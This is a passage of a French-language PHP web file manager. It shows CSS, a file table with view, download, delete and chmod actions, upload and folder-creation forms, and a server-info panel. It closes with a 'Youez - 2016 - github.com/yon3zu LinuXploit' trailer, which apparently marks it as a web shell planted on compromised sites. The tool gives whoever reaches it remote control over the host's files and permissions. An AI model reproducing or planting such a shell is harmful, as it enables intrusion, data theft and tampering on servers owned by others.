            grid-template-columns: 1fr 300px;
            gap: 20px;
        }
        
        .main-content {
            grid-column: 1;
        }
        
        .sidebar {
            grid-column: 2;
        }
        
        .card {
            background-color: var(--card-bg);
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
            margin-bottom: 20px;
            overflow: hidden;
        }
        
        .card-header {
            padding: 15px;
            background-color: #f9f9f9;
            border-bottom: 1px solid var(--border-color);
            font-weight: 600;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .card-body {
            padding: 15px;
        }
        
        .breadcrumb {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            margin-bottom: 1.5rem;
            font-size: 0.9rem;
        }
        
        .breadcrumb a {
            color: var(--primary-color);
            text-decoration: none;
            margin: 0 5px;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
        
        .breadcrumb-separator {
            color: var(--light-text);
        }
        
        .file-actions {
            display: flex;
            margin-bottom: 1.5rem;
            gap: 10px;
            flex-wrap: wrap;
        }
        
        .btn {
            padding: 10px 15px;
            border-radius: 5px;
            background-color: var(--primary-color);
            color: white;
            border: none;
            cursor: pointer;
            text-decoration: none;
            font-size: 0.9rem;
            display: inline-flex;
            align-items: center;
            gap: 5px;
            transition: background-color 0.3s;
        }
        
        .btn:hover {
            background-color: #0f1a4b;
        }
        
        .btn-secondary {
            background-color: #6c757d;
        }
        
        .btn-secondary:hover {
            background-color: #5a6268;
        }
        
        .btn-accent {
            background-color: var(--accent-color);
            color: #333;
        }
        
        .btn-accent:hover {
            background-color: #e6a920;
        }
        
        .file-list table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .file-list th, .file-list td {
            padding: 12px 15px;
            text-align: left;
            border-bottom: 1px solid var(--border-color);
        }
        
        .file-list th {
            background-color: #f9f9f9;
            font-weight: 600;
        }
        
        .file-list tr:hover {
            background-color: rgba(0, 0, 0, 0.02);
        }
        
        .file-icon {
            width: 24px;
            height: 24px;
            margin-right: 10px;
            vertical-align: middle;
        }
        
        .file-actions-cell {
            display: flex;
            gap: 8px;
        }
        
        .action-link {
            color: var(--primary-color);
            text-decoration: none;
            font-size: 0.8rem;
            white-space: nowrap;
        }
        
        .action-link:hover {
            text-decoration: underline;
        }
        
        .file-size {
            color: var(--light-text);
            font-size: 0.9rem;
            white-space: nowrap;
        }
        
        .file-perms {
            font-family: monospace;
            font-size: 0.9rem;
        }
        
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            justify-content: center;
            align-items: center;
            z-index: 1000;
        }
        
        .modal-content {
            background-color: white;
            padding: 2rem;
            border-radius: 8px;
            width: 500px;
            max-width: 90%;
            max-height: 90vh;
            overflow-y: auto;
        }
        
        .modal-title {
            margin-top: 0;
            margin-bottom: 1.5rem;
            color: var(--primary-color);
        }
        
        .form-group {
            margin-bottom: 1rem;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 0.5rem;
            font-weight: 500;
        }
        
        .form-group input, .form-group select, .form-group textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
            box-sizing: border-box;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 1.5rem;
        }
        
        .info-grid {
            display: grid;
            grid-template-columns: 150px 1fr;
            gap: 10px;
            margin-bottom: 15px;
        }
        
        .info-label {
            font-weight: 500;
            color: var(--light-text);
        }
        
        .progress-container {
            width: 100%;
            background-color: #e0e0e0;
            border-radius: 5px;
            height: 10px;
            margin-top: 5px;
        }
        
        .progress-bar {
            height: 100%;
            border-radius: 5px;
            background: linear-gradient(90deg, var(--primary-color), var(--secondary-color));
        }
        
        .chmod-selector {
            display: flex;
            gap: 15px;
            margin-top: 15px;
        }
        
        .chmod-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .chmod-label {
            font-weight: 500;
            margin-bottom: 5px;
        }
        
        .chmod-checkbox {
            display: flex;
            align-items: center;
            gap: 5px;
        }
        
        @media (max-width: 768px) {
            .container {
                grid-template-columns: 1fr;
            }
            
            .sidebar {
                grid-column: 1;
            }
        }
    </style>
</head>
<body>
    <div class="header">
        <div class="logo"><?php echo $APP_NAME; ?></div>
        <a href="?logout=1" class="logout">Déconnexion</a>
    </div>

    <div class="container">
        <div class="main-content">
            <div class="breadcrumb">
                <a href="?">Accueil</a>
                <?php
                $path_parts = explode('/', $relative_path);
                $current_path = '';
                foreach ($path_parts as $part) {
                    if (!empty($part)) {
                        $current_path .= '/' . $part;
                        echo '<span class="breadcrumb-separator">/</span>';
                        echo '<a href="?dir=' . urlencode(ltrim($current_path, '/')) . '">' . htmlspecialchars($part) . '</a>';
                    }
                }
                ?>
            </div>

            <div class="file-actions">
                <button onclick="document.getElementById('upload-modal').style.display='flex'" class="btn">
                    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                        <path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
                        <path d="M7.646 1.146a.5.5 0 0 1 .708 0l3 3a.5.5 0 0 1-.708.708L8.5 2.707V11.5a.5.5 0 0 1-1 0V2.707L5.354 4.854a.5.5 0 1 1-.708-.708l3-3z"/>
                    </svg>
                    Upload
                </button>
                <button onclick="document.getElementById('folder-modal').style.display='flex'" class="btn">
                    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                        <path d="M.54 3.87.5 3a2 2 0 0 1 2-2h3.672a2 2 0 0 1 1.414.586l.828.828A2 2 0 0 0 9.828 3h3.982a2 2 0 0 1 1.992 2.181l-.637 7A2 2 0 0 1 13.174 14H2.826a2 2 0 0 1-1.991-1.819l-.637-7a1.99 1.99 0 0 1 .342-1.31zM2.19 4a1 1 0 0 0-.996 1.09l.637 7a1 1 0 0 0 .995.91h10.348a1 1 0 0 0 .995-.91l.637-7A1 1 0 0 0 13.81 4H2.19zm4.69-1.707A1 1 0 0 0 6.172 2H2.5a1 1 0 0 0-1 .981l.006.139C1.72 3.042 1.95 3 2.19 3h5.396l-.707-.707z"/>
                    </svg>
                    Nouveau dossier
                </button>
                <button onclick="document.getElementById('server-modal').style.display='flex'" class="btn btn-accent">
                    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                        <path d="M1.333 2.667C1.333 1.194 4.318 0 8 0s6.667 1.194 6.667 2.667V4c0 1.473-2.985 2.667-6.667 2.667S1.333 5.473 1.333 4V2.667z"/>
                        <path d="M1.333 6.334v3C1.333 10.805 4.318 12 8 12s6.667-1.194 6.667-2.667V6.334a6.51 6.51 0 0 1-1.458.79C11.81 7.684 9.967 8 8 8c-1.966 0-3.809-.317-5.208-.876a6.508 6.508 0 0 1-1.458-.79z"/>
                        <path d="M14.667 11.668a6.51 6.51 0 0 1-1.458.789c-1.4.56-3.242.876-5.21.876-1.966 0-3.809-.316-5.208-.876a6.51 6.51 0 0 1-1.458-.79v1.666C1.333 14.806 4.318 16 8 16s6.667-1.194 6.667-2.667v-1.665z"/>
                    </svg>
                    Info Serveur
                </button>
            </div>

            <div class="card file-list">
                <table>
                    <thead>
                        <tr>
                            <th>Nom</th>
                            <th>Taille</th>
                            <th>Permissions</th>
                            <th>Modifié</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if (!empty($relative_path)): ?>
                            <tr>
                                <td>
                                    <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLWZvbGRlci11cCI+PHBhdGggZD0iTTIwIDIwYTIgMiAwIDAgMS0yIDJIMmEyIDIgMCAwIDEtMi0yVjVhMiAyIDAgMCAxIDItMmgzLjljLjcgMCAxLjMuMyAxLjcuOWwuOCAxLjJjLjQuNiAxIC45IDEuNy45SDhhMiAyIDAgMCAxIDIgMnYzIi8+PHBhdGggZD0ibTE0IDEzLTQtNCIvPjxwYXRoIGQ9Im0xNCAxMyA0LTQiLz48L3N2Zz4=" class="file-icon" alt="Dossier parent">
                                    <a href="?dir=<?php echo urlencode(dirname($relative_path)); ?>">..</a>
                                </td>
                                <td></td>
                                <td></td>
                                <td></td>
                                <td></td>
                            </tr>
                        <?php endif; ?>

                        <?php foreach ($files as $file): ?>
                            <?php
                            $file_path = $current_dir . '/' . $file;
                            $is_dir = is_dir($file_path);
                            $file_url = $is_dir 
                                ? '?dir=' . urlencode($relative_path . (empty($relative_path) ? '' : '/') . $file)
                                : '?action=download&file=' . urlencode($file) . '&dir=' . urlencode($relative_path);
                            $file_size = $is_dir ? '' : format_size(filesize($file_path));
                            $modified = date('Y-m-d H:i', filemtime($file_path));
                            $perms = get_file_perms($file_path);
                            $owner = get_file_owner($file_path);
                            ?>
                            <tr>
                                <td>
                                    <img src="data:image/svg+xml;base64,<?php echo $is_dir 
                                        ? 'PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLWZvbGRlciI+PHBhdGggZD0iTTIwIDIwYTIgMiAwIDAgMS0yIDJIMmEyIDIgMCAwIDEtMi0yVjVhMiAyIDAgMCAxIDItMmgzLjljLjcgMCAxLjMuMyAxLjcuOWwuOCAxLjJjLjQuNiAxIC45IDEuNy45SDhhMiAyIDAgMCAxIDIgMnYzIi8+PC9zdmc+' 
                                        : 'PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLWZpbGUiPjxwYXRoIGQ9Ik0xNCAySDZhMiAyIDAgMCAwLTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOThaIi8+PHBhdGggZD0iTTE0IDJ2Nmg2Ii8+PC9zdmc+'; ?>" class="file-icon" alt="<?php echo $is_dir ? 'Dossier' : 'Fichier'; ?>">
                                    <a href="<?php echo htmlspecialchars($file_url); ?>"><?php echo htmlspecialchars($file); ?></a>
                                </td>
                                <td class="file-size"><?php echo $file_size; ?></td>
                                <td class="file-perms"><?php echo $perms; ?></td>
                                <td><?php echo $modified; ?></td>
                                <td class="file-actions-cell">
                                    <a href="?action=view&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($relative_path); ?>" class="action-link">Voir</a>
                                    <a href="?action=download&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($relative_path); ?>" class="action-link" <?php echo $is_dir ? 'style="visibility:hidden"' : ''; ?>>Télécharger</a>
                                    <a href="?action=info&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($relative_path); ?>" class="action-link">Info</a>
                                    <a href="?action=delete&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($relative_path); ?>" class="action-link" onclick="return confirm('Êtes-vous sûr de vouloir supprimer ce <?php echo $is_dir ? 'dossier' : 'fichier'; ?> ?')">Supprimer</a>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </div>

        <div class="sidebar">
            <?php if (isset($_GET['action']) && $_GET['action'] === 'info' && isset($_GET['file'])): ?>
                <?php
                $file_path = $current_dir . '/' . basename($_GET['file']);
                if (file_exists($file_path) && strpos(realpath($file_path), $ROOT_DIR) === 0):
                    $is_dir = is_dir($file_path);
                    $file_info = [
                        'Nom' => basename($file_path),
                        'Chemin' => $file_path,
                        'Type' => $is_dir ? 'Dossier' : 'Fichier',
                        'Taille' => $is_dir ? '-' : format_size(filesize($file_path)),
                        'Permissions' => get_file_perms($file_path),
                        'Propriétaire' => get_file_owner($file_path),
                        'Dernière modification' => date('Y-m-d H:i:s', filemtime($file_path)),
                        'Dernier accès' => date('Y-m-d H:i:s', fileatime($file_path))
                    ];
                    
                    if (!$is_dir) {
                        $file_info['Extension'] = pathinfo($file_path, PATHINFO_EXTENSION) ?: 'Aucune';
                        $file_info['MIME Type'] = mime_content_type($file_path);
                    }
                ?>
                <div class="card">
                    <div class="card-header">
                        <span>Informations</span>
                        <a href="?dir=<?php echo urlencode($relative_path); ?>" style="color: var(--primary-color); text-decoration: none;">×</a>
                    </div>
                    <div class="card-body">
                        <?php foreach ($file_info as $label => $value): ?>
                            <div class="info-grid">
                                <div class="info-label"><?php echo $label; ?></div>
                                <div><?php echo htmlspecialchars($value); ?></div>
                            </div>
                        <?php endforeach; ?>
                        
                        <form method="POST" action="?action=chmod&file=<?php echo urlencode($_GET['file']); ?>&dir=<?php echo urlencode($relative_path); ?>">
                            <div class="info-label">Changer les permissions:</div>
                            <input type="text" name="mode" value="<?php echo substr(sprintf('%o', fileperms($file_path)), -4); ?>" pattern="[0-7]{3,4}" required>
                            <button type="submit" class="btn" style="margin-top: 10px;">Appliquer</button>
                        </form>
                    </div>
                </div>
                <?php endif; ?>
            <?php endif; ?>
            
            <div class="card">
                <div class="card-header">Espace Disque</div>
                <div class="card-body">
                    <div class="info-grid">
                        <div class="info-label">Total:</div>
                        <div><?php echo format_size($server_info['Disk Space']['Total']); ?></div>
                    </div>
                    <div class="info-grid">
                        <div class="info-label">Utilisé:</div>
                        <div><?php echo format_size($server_info['Disk Space']['Used']); ?></div>
                    </div>
                    <div class="info-grid">
                        <div class="info-label">Libre:</div>
                        <div><?php echo format_size($server_info['Disk Space']['Free']); ?></div>
                    </div>
                    <div class="progress-container">
                        <div class="progress-bar" style="width: <?php echo round(($server_info['Disk Space']['Used'] / $server_info['Disk Space']['Total']) * 100); ?>%"></div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Modals -->
    <div class="modal" id="upload-modal">
        <div class="modal-content">
            <h3 class="modal-title">Uploader un fichier</h3>
            <form action="?dir=<?php echo urlencode($relative_path); ?>" method="POST" enctype="multipart/form-data">
                <div class="form-group">
                    <input type="file" name="file_upload" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-secondary" onclick="document.getElementById('upload-modal').style.display='none'">Annuler</button>
                    <button type="submit" class="btn">Uploader</button>
                </div>
            </form>
        </div>
    </div>

    <div class="modal" id="folder-modal">
        <div class="modal-content">
            <h3 class="modal-title">Créer un nouveau dossier</h3>
            <form action="?dir=<?php echo urlencode($relative_path); ?>" method="POST">
                <div class="form-group">
                    <label for="new_folder">Nom du dossier</label>
                    <input type="text" id="new_folder" name="new_folder" required pattern="[a-zA-Z0-9\-_]+" title="Seulement lettres, chiffres, tirets et underscores">
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-secondary" onclick="document.getElementById('folder-modal').style.display='none'">Annuler</button>
                    <button type="submit" class="btn">Créer</button>
                </div>
            </form>
        </div>
    </div>

    <div class="modal" id="server-modal">
        <div class="modal-content">
            <h3 class="modal-title">Informations du Serveur</h3>
            <div class="card-body">
                <?php foreach ($server_info as $label => $value): ?>
                    <?php if (is_array($value)): ?>
                        <div style="margin-bottom: 15px;">
                            <div style="font-weight: 500; margin-bottom: 5px;"><?php echo $label; ?></div>
                            <?php foreach ($value as $sub_label => $sub_value): ?>
                                <div style="display: flex; justify-content: space-between; margin-bottom: 3px;">
                                    <span style="color: var(--light-text);"><?php echo $sub_label; ?></span>
                                    <span><?php echo is_numeric($sub_value) ? format_size($sub_value) : htmlspecialchars($sub_value); ?></span>
                                </div>
                            <?php endforeach; ?>
                        </div>
                    <?php else: ?>
                        <div style="display: flex; justify-content: space-between; margin-bottom: 10px;">
                            <span style="font-weight: 500; color: var(--light-text);"><?php echo $label; ?></span>
                            <span><?php echo htmlspecialchars($value); ?></span>
                        </div>
                    <?php endif; ?>
                <?php endforeach; ?>
            </div>
            <div class="modal-actions">
                <button type="button" class="btn" onclick="document.getElementById('server-modal').style.display='none'">Fermer</button>
            </div>
        </div>
    </div>

    <script>
        // Fermer les modales en cliquant à l'extérieur
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Gérer la déconnexion
        if (window.location.search.includes('logout=1')) {
            window.location.href = window.location.pathname;
        }
    </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit